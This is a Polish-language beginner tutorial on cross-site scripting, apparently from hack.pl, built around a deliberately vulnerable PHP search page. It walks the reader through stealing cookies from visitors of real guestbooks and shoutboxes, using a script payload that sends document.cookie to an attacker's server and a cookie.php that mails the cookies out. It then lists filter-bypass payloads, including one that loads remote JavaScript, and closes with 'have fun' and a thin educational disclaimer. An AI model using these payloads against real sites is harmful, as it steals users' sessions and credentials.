Podstawy XSS

XSS (ang. Cross-site Scritping) jest to jeden z najpopularniejszych ataków na strony WWW. Polega on na wpisaniu kodu HTML lub JavaScript(częściej) w pole formularzy, np. pole „szukaj”, księga gości itp. Czasami XSS jest mylnie skracane jako CSS, z którego nazwy mógłby wynikać ten skrót. Lecz ten atak nie ma nic wspólnego z kaskadowymi arkuszami stylów (CSS), które częściej określane są tym skrótem. Na początku kilka pojęć.

Defacing
– Jak się dowiemy, niektóre ataki XSS są nietrwałe. Defacing jest rodzajem trwałego ataku. Polega na zmianie wyglądu strony.

Java Script – dynamiczny język programowania różnych rzeczy na stronach WWW. To dzięki niemu zawdzięczamy wiele ataków XSS.

Bypass – Tutaj są to obejścia zabezpieczeń ustawionych na stronie. Inaczej określone są mianem Cheat Sheet.

A więc bierzmy się do roboty. Wyobraźmy sobie stronę, która ma opcje szukaj. Jej kod HTML wygląda mniej więcej tak:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /></p>
 
<p><style type="text/css"><br />
<!--<br />
body,td,th {<br />
   color: #FFFFFF;<br />
}<br />
body {<br />
   background-color: #000000;<br />
}<br />
--><br />
</style><title>Prosta strona z błędem XSS!</title><br />
<body><br />
<form action="XSS.php" method="post"><br />
<p align="center"><strong>Błąd XSS! </strong></p><br />
<div align="center"><br />
  <table width="270" border="0"><br />
    <tr><br />
      <td width="106"><strong>Szukaj:</strong></td><br />
        <td width="154"><input name="Vulnerability" type="text" id="Vulnerability" /></td><br />
      </tr><br />
  </table><br />
  <table width="268" border="0"><br />
    <tr><br />
      <td width="262"><div align="center"><br />
        <input name="submit" type="submit" value="     Szukaj !     " /><br />
      </div></td><br />
      </tr><br />
  </table><br />
  </div><br />
</form><br />
</body><br />
</html>

Jak widzimy w podanym kodzie, to co wpiszemy w pole „szukaj” zostanie wysłane do strony XSS.php, która wyświetli nam wyniki dla danego słowa. Strona, która odbiera i przetwarza dane wyrazy wygląda tak:


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><br />
<html xmlns="http://www.w3.org/1999/xhtml"><br />
<head><br />
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /><br />
<title>Wyniki szukania:</title><br />
<style type="text/css"><br />
<!--<br />
body,td,th {<br />
   color: #FFFFFF;<br />
}<br />
body {<br />
   background-color: #000000;<br />
}<br />
--><br />
</style></head><br />
<body><br />
<span class="alerte">Wyniki szukania  :</span>&nbsp;<strong><?php echo $_POST['Vulnerability']; ?></strong>&nbsp;<br />
</body><br />
</html><br />

UWAGA! Jeżeli chcecie wypróbować powyższy kod HTML i pobawić się musicie wstawić strony na serwer. Atak XSS nie będzie działał kiedy zapiszecie go w pliku .html i włączycie na swoim PC’cie nie wrzucając tego na żaden serwer.


Mamy tutaj prosty kawałek kody PHP: „>”. Odpowiada on za wstawianie i wyświetlanie danego wyrazu na stronie. Jeżeli wpiszemy słowo Dom, to zostanie ono wyświetlone. Lecz zacznijmy zabawę i dodajmy trochę HTML’a i wpiszmy w wyszukiwarce „Dom”. Naszym oczom ukarze się „Dom”. A co jeśli dodamy teraz Java Script?


Wpiszmy teraz następujący ciąg: „”>


<script language="”JavaScript”">

</script>

”. Pokaże nam się takie okienko:


Spójrzmy zatem co się dzieje w kodzie HTML:

<span class="alerte">Wyniki szukania  :</span>&nbsp;<strong><script languge=JavaScript>alert('XSS')</script></strong>&nbsp;


Jak wiemy, przeglądarka wykona kod, który jej się poda. Więc możliwości są nieograniczone. Możemy wstawić obrazek, możemy napisać coś itd. Jednak takie ataki są nietrwałe. Po włączeniu strony głównej wszystko co „nabroiliśmy” znika. Czemu? Ponieważ dane, które wpisujemy w pola formularzy, są danymi tymczasowymi. Służą one, jak wspomniałem, do pokazywania rzeczy, danych na stronie. Nie zapisują się one na trwałe ani na serwerze, ani na stronie. Lecz nie myślcie że ataki typu XSS nie są groźnie. Teraz pokaże jak bardzo są groźne.


Załóżmy że już założyliście sobie serwer na jakimś darmowym serwisie i się bawicie. Ale znudziło się wam nietrwałe efekty i chcecie spróbować czegoś nowego. Oto rozwiązanie! Poniższy kod wklejamy do utworzonego wcześniej pliku cookie.php.


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><br />
<html xmlns="http://www.w3.org/1999/xhtml"><br />
<head><br />
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /><br />
<title>Error</title><br />
<style type="text/css"><br />
<!--<br />
body,td,th {<br />
   color: #FFFFFF;<br />
}<br />
body {<br />
   background-color: #000000;<br />
}<br />
--><br />
</style></head><br />
<? mail('email@example.com', 'Skradzione cookie', $cookies); ?> <br />
<body><br />
<h2><strong>Error</strong> - <strong>Access denied</strong> for <? echo $_SERVER["REMOTE_ADDR"]; ?></h2><br />
</body><br />
</html>

Plik cookie.php z powyższym kodem wrzucamy na nasz serwer. Oczywiście w miejsce „email@example.com” wpisujemy nasz adres e-mail. Po co? Po to by pliki cookie wysyłały się nam na e-maila. Teraz szukamy strony podatnej na atak XSS. Najlepiej by ten błąd znalazł się w tzw. Shoutbox’ach lub w Księdze Gości, tam gdzie zagląda wiele ludzi. W pola formularza wklejamy następujący kod i wysyłamy go:


<script><br />
window.open("http://www.naszserwer.pl/cookie.php?cookies="+document.cookie);<br />
</script>

I czekamy aż ktoś wejdzie w np. Księgę Gości, wtedy nasz spreparowany kod przechwyci jego cookies, które zawierają m.in. loginy, hasła itp.

Jednak nie wszystkie strony są podatne na atak XSS. Jak oni to zrobili? Oczywiście są zabezpieczenia przed tego typu atakiem. Jednym z nich jest wstawienie na stronie WWW następującego kodu:


<body><br />
<span class="alerte">Search result  :</span>&nbsp;<strong><?php<br />
if(isset($_POST['Vulnerability'])) { echo htmlentities($_POST['Vulnerability']); } ?></strong>&nbsp;<br />
</body>


lub użyjemy funkcji htmlspecialhars(). Ta funkcja odrzuca wpisane przez nas znaki, nie dopuszczając do ataku.

Ale i to można obejść. Poniżej podam parę bypass’ów.

<div<br />
style="x:expression((window.r==1)?'':eval('r=1;alert(String.fromCharCo<br />
de(88,83,83));'))"></p>
 
<p>window.alert("Xyli !");</p>
 
<p>"/></a></><img src=1.gif onerror=alert(1)></p>
 
<p>[=red' onmouseover="alert('xss')"]mouse over[/]</p>
 
<p><body onLoad="alert('XSS');"</p>
 
<p><body onunload="javascript:alert('XSS');"></p>
 
<p>[url=javascript:alert('XSS');]click me[/url]</p>
 
<p><script language="JavaScript">alert('XSS')</script></p>
 
<p><img src="javascript:alert('XSS')"></p>
 
<p>'); alert('XSS</p>
 
<p><font style='color:expression(alert(document.cookie))'></p>
 
<p><IMG DYNSRC=\"javascript:alert('XSS')\"></p>
 
<p><IMG LOWSRC=\"javascript:alert('XSS')\"></p>
 
<p></textarea><script>alert(/xss/)</script></p>
 
<p></title><script>alert(/xss/)</script></p>
 
<p><script src=http://yoursite.com/your_files.js></script></p>
 
<p>"><script>alert(0)</script></p>
 
<p><IMG SRC=javascript:alert(String.fromCharCode(88,83,83))></p>
 
<p><IMG SRC=\"jav&#x0D;ascript:alert('XSS');\"></p>
 
<p><IMG SRC=\"jav&#x0A;ascript:alert('XSS');\"></p>
 
<p><IMG SRC=\"jav&#x09;ascript:alert('XSS');\"></p>
 
<p><marquee><script>alert('XSS')</script></marquee></p>
 
<p><? echo('<scr)';<br />
echo('ipt>alert(\"XSS\")</script>'); ?>

To już wszystko. Inne metody i zastosowania, to już wyższa szkoła jazdy. Milej zabawy :)


Ten artykuł jest pisany tylko i wyłącznie w celach edukacyjnych. Autor i właściciele serwisu hack.pl nie ponoszą odpowiedzialności za wyrządzone krzywdy metodami stosowanymi w naszych artykułach.


Jeżeli macie, drodzy internauci, jakieś pomysły bądź prośby, dotyczące artykułów z działu "Dla początkujących" prosimy o kontakt jakub.luniewski@hack.pl


Realizacja: SIPLEX Studio